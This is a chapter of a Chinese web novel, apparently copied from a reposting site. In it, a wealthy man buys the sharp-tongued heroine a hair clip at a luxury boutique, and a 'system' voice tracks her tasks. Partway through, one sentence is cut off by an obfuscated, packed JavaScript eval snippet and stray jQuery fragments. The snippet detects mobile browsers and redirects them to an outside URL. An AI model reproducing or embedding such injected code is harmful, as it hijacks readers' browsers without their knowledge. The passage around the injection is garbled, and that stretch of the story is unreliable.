21. 021

    “隗先生,这位……小姐,舟车劳顿,点心已经准备好了,二位这边请。”


    sA竭力表情管理,试图唤醒自己对陌生女孩的记忆,最终却只是嘴唇微动,用一个模糊的音节带过年轻女生的名字。


    隗祯温和地答应,转眼语出讥讽:“你还有肚子吃点心吗?”


    “当然有,我正是长身体的年龄,多吃点怎么了。”濮怀玉平静地反击,“你刚刚都承认我年轻了。——噢,全熟的牛排我确实吃不了,太老。”


    隗祯:“……”他比樊雁舟还年轻几岁,没有老到那种地步吧。


    隗祯亲自来,这张脸蛋就是最管用的通行证。因此,即便他是来买发卡这种相对于包包的边角料商品,抽成很有限,sA仍然争先恐后服务这位大人物。


    最靠近门口的monica幸运地获得了这个机会,不忘在心底自我检讨。


    她怎么能对隗先生的女伴没有丝毫印象,这简直是职业生涯的耻辱!……不对,隗先生有过女伴吗?


    然而,听到两人闲扯的内容,sA的表情短暂地扭曲一瞬,多年的职业素养这一刻受到了严重挑战。


    贵宾室已然是一切就绪、虚位以待的状态。甜品架上放着易入口的松露巧克力,精致得不像吃食,更似景观。除此以外还提供蛋糕和红茶,濮怀玉被分到一块红丝绒蛋糕。


    “你吃吗?不吃给我。”


    隗祯瞥一眼,矜持道:“我不喜欢甜食。”


    比起他的喜好,濮怀玉更关心蛋糕。不喜欢就是不吃,她会了意,飞速端起他面前的草莓慕斯。


    monica再度进门时,看到的便是女孩连吃带拿,男人坐在沙发上蹙眉看着的场景,有种说不出的和谐感。


    “小姐,这些是我们本季的新款。”monica有些激动,但还是稳住声线,“您是想买发卡对吗?我觉得这几个都特别适合您,很符合您的气质。”


    有sA在这里,隗祯没能立刻发作,叹口气算作回应,然后嘱托:“毕竟是戴在自己头上的东西,别马马虎虎的,多试几个。”


    “……唔。嗯。知道。”濮怀玉已经开始挑选起来,无法一心二用,答应得很不走心。


    光洁的金属发夹排在monica的推荐列表之首,濮怀玉也准备第一个试它,对着镜子微猫起腰,头发一下子就被咬住,动弹不得。


    静态、凝固的金属面微微向内凹陷出一个低调的logo,在暖色调的灯光中流转出动态的光泽。尖锐的拐角增强了利落感,放在她身上反而成为格外柔和的一笔。


    monica连声夸赞:“小姐,您戴这一款特别漂亮,显得很有精神,很符合您的身材。”


    “这个还不错。”濮怀玉摘下来,“再试试别的。”


    隗祯冷不丁:“像把胸牌戴头上。”


    濮怀玉不管他,她是给自己选头饰,又不是给他。


    镶嵌着钻石的四叶草放在刘海过于显眼,蝴蝶和蜻蜓不适合简洁日常的风格,木马太过童趣,濮怀玉觉得它们栖息在她的头发上像是一种亮闪闪的禁锢,令她难以迅速地行动。——她会担心它们因为动作幅度过大不能安稳地呆着,在哪里掉落。


    从开始到现在,她既没有表现出不满意,也没有很满意的发饰,monica便将排在靠后位置的毛绒绒发饰推到前面。


    最有代表性的椭圆状蓬松粉毛发夹很有氧气感,非常适合即将到来的冬天。“很多跟您年纪相仿的女生会选择这些款式。”monica热情介绍,“跟我们店里的大衣、围巾很配,特别有千金感。”


    “挺可爱的。”濮怀玉试探着用手背感受,柔顺得不可思议,像在抚摸云朵。


    隗祯以为她要尝试:“你不会真觉得这种风格的装饰很适合吧?”


    他可不希望濮怀玉拿一个戴不出去的回家压箱底。他好歹付出了大半天的时间。


    好差劲。monica暗中吐槽,隗先生对他们这些身经百战的柜哥柜姐和颜悦色,但怎么总是挑剔贬低一个仔细看的话年纪并不算大的小女孩,这种区别对待好差劲。


    濮怀玉挨个轻轻摸一遍,每个都能让她的瞳孔不着痕迹地放大,手感棒极了。


    对于隗祯的反问,她理所当然:“为什么要适合我?又不是专门为我设计的。”边说边取下一枚,平静而淡漠地回敬,“我又不像某个人一样脸大。”


    隗祯中箭。


    濮怀玉把毛绒绒的发饰虚虚安在monica头发上,弯起嘴角:“不适合我,但是很适合你,monica。像公主一样。”


    monica一愣,下意识看一眼胸牌,再看向女孩。工作好几年,她分得清什么是富人的客套,什么是真挚的夸奖。


    monica还记得,上一次变成“公主”是在游戏里,还需要氪金。再上一次就是童年的公主游戏。


    比划完,濮怀玉重新放回去,拿起一个水滴形漆皮发卡,淡蓝色,没什么突出的设计,跟丢失在山里上的那个很像。


    “就这个吧。”慢慢试到现在,她还是选择了最像的,而不是最漂亮、最适合她的。


    隗祯皱起眉,情绪微妙地朝下滑落。他施施然站起身:“想好了?我主动送你东西可能就这一回。”


    “你可以不买。”濮怀玉毫不犹豫地把发卡放回,就好像是他求着她收。


    隗祯禁不住咬牙切齿:“……拿着。我不至于让你空手回去。”


    “哇哦。绅士风度。”


    女孩总能用平淡无比的语调挑起特定人群的愤怒情绪。


    这一“特定人群”目前只能被容得下总是撞她枪口的隗祯一个。


    monica不敢说话,心想“隗先生跟女朋友竟然是走欢喜冤家路线的吗,有钱人原来也要当舔狗”,默默拿出pos机。


    隗祯掏出信用卡,忍着火气轻描淡写:“对了,这个季度的新款包,浅色系的都要了。有多少货算多少。”


    濮怀玉立马想起梁淑荷不重样的拎包,以及“换个心情”的说法。


    有钱人修身养性的方法除了礼佛和捐一大笔香火钱,竟然是穿浅色衣服,配浅色包包。


    梁淑荷的心态很年轻:“小玉,我决定轻盈一点。我这样穿,你觉得怎么样?”


    濮怀玉记得自己当时是这样回答的——“您原本就很年轻,这样更柔和,让人很想亲近,如果能叫您姐姐就好了”。让梁淑荷很高兴。


    系统对此评价:“你不费一点钱成为妇女之友,隗祯还要花钱。你赢。”


    惶恐转换为天降馅饼的莫大惊喜,monica忙不迭道:“都有都有,给先生您送上门。”有这一大单,她肯定是这个月的销冠了,怎能不喜上眉梢。


    信用卡在pos机上刷过,划出美好到让她热泪盈眶的弧度。


    濮怀玉丝毫不关心除她以外,隗祯还把钱花给谁,默默拿出破碎的手机登入官网。


    四开头的四位数让她低头,看向手心的发卡。


    就这小东西,四千多块。


    “这就是男二的实力。”系统毫不意外,同时有些纳闷,“跟你之前戴的那个除了外观上不太一样,还有别的不同吗?”


    濮怀玉:“多个品牌效应。你跟我过习惯了苦日子,不懂这个很正常。”她默默把发卡保管在口袋深处,“估计用骨折价挂二手平台也卖不出去。只能骗到脑子不好使的有钱人。”


    系统觉得隗祯可能会气疯,花了钱濮怀玉也没有好脸色,虽然对他来说只是小钱。


    隗祯结完账,对头上依旧光秃秃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807403|158232||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的她相当不满:“你还要顶着那个发型多久?”


    濮怀玉刚刚对着镜子看过,根本没有隗祯说的这么严重。所以她隔着裤兜,无动于衷地摸两下,然后无所谓道:“因为很贵。”


    隗祯很清楚,她不是看中他的钱,单纯看他不顺眼而已。


    只是,濮怀玉没有选择最合适的,而是最像濮曼吟送给她的,这让隗祯心情很不爽快。他没来由地因为这一个小到不能再小的细节更加不快。


    隗祯:“一个用来戴的小玩意儿,不是让你供着的。”


    “我乐意。”濮怀玉双手插兜,大有“既然你想无理取闹,那我舍命陪君子”的既视感,“真不理解你,礼物被珍惜有什么好生气的。”


    男人突然被噎住。


    直到坐上车,他一路保持沉默。


    刚刚不是还挺牙尖嘴利的。濮怀玉依旧占据座位另一端,不过比起来时多看了两眼被孤立的对象。


    准确来说,他们相互孤立。


    不知道过了多久,隗祯沉静道:“你应该更注意一点自己的形象。”


    濮怀玉一个一个将各种发饰慢慢放到头发上的时候,他明知道她是故意延长整个过程让他好等,却不由自主想起黎家生日宴那天,她穿着黑色礼裙、戴着“雨夜幽灵”出现在人群中的场景。


    很出挑,被当作是鲜少出息社交场合的富家小姐也不奇怪,除此以外还吸引了品行不端的烂桃花。她不在乎自己的外形,根本不在意自己被简单修剪过就能呈现出的美丽,只把一身行头当作入场券,然后在另一位濮小姐遭难的时候护犊子地上前。


    “隗先生,说实话,我不喜欢戴首饰。”


    女孩的话语默契地跟他方才所想应和——她不在乎、也厌恶修剪,哪怕只是一点点。“因为这个刘海,姐姐送给了我发夹固定,我渐渐习惯头上有东西。”濮怀玉道。


    隗祯:“你应该换个造型师。”


    “什么造型师。”濮怀玉露出莫名其妙的表情,“这是姐姐给我剪的。”


    “难怪。”隗祯听到自己讥讽道。


    他这样也不是一天两天,就连系统都懒得次次大怒,更不用说应对自如的濮怀玉。


    她从口袋拿出新买的发夹,其实仔细看纸质并不相同,角落里小小的logo足以昭示一部分身价。


    濮怀玉看着它,透过它看草丛里遗失的另一枚发夹:“其实,只要不是姐姐送给我的,哪怕一模一样,也不是我真正想要的。”


    她哪个都不喜欢,在贵宾室里仔细挑跟在樊雁舟家里随便指一套高珠效果一样。


    那你是在做什么,逗我玩吗?就像上次清泉寺偶遇那回?


    隗祯刚要开口,濮怀玉抬起头。


    “但是,隗先生,谢谢你的心意,让我选到一个不讨厌的款式。”她笑的很淡,隗祯发现她似乎不会大笑,高兴的时候表情是小幅度的,好像所有力气都用来警告和保护。


    隗祯移开视线,表情和语气均很淡漠:“我说过,顺便的事。母亲也想要新包。”


    “嗯,听到了。”


    就这?


    隗祯还没看清楚掠过的景色,不自觉往另一边看去。


    “还有,谢谢你今天捞我出来。”濮怀玉看着窗外,只留给他小半张侧脸,恢复不近人情的冷硬模样,“感谢是感谢。如果你敢对我姐姐做什么,我肯定不会让你好过。”


    她没有再看他。“我确实打了周星,那是他咎由自取。”濮怀玉道,“不过,我也说了一些可怕的话。”


    “……什么话。”


    “鉴于隗先生您今天做了好事,还送了我礼物,”濮怀玉微微停顿,“我不是很想告诉你。”


    ‘任务十四:杀鸡儆猴,警告恶毒男二远离女主(1/1)’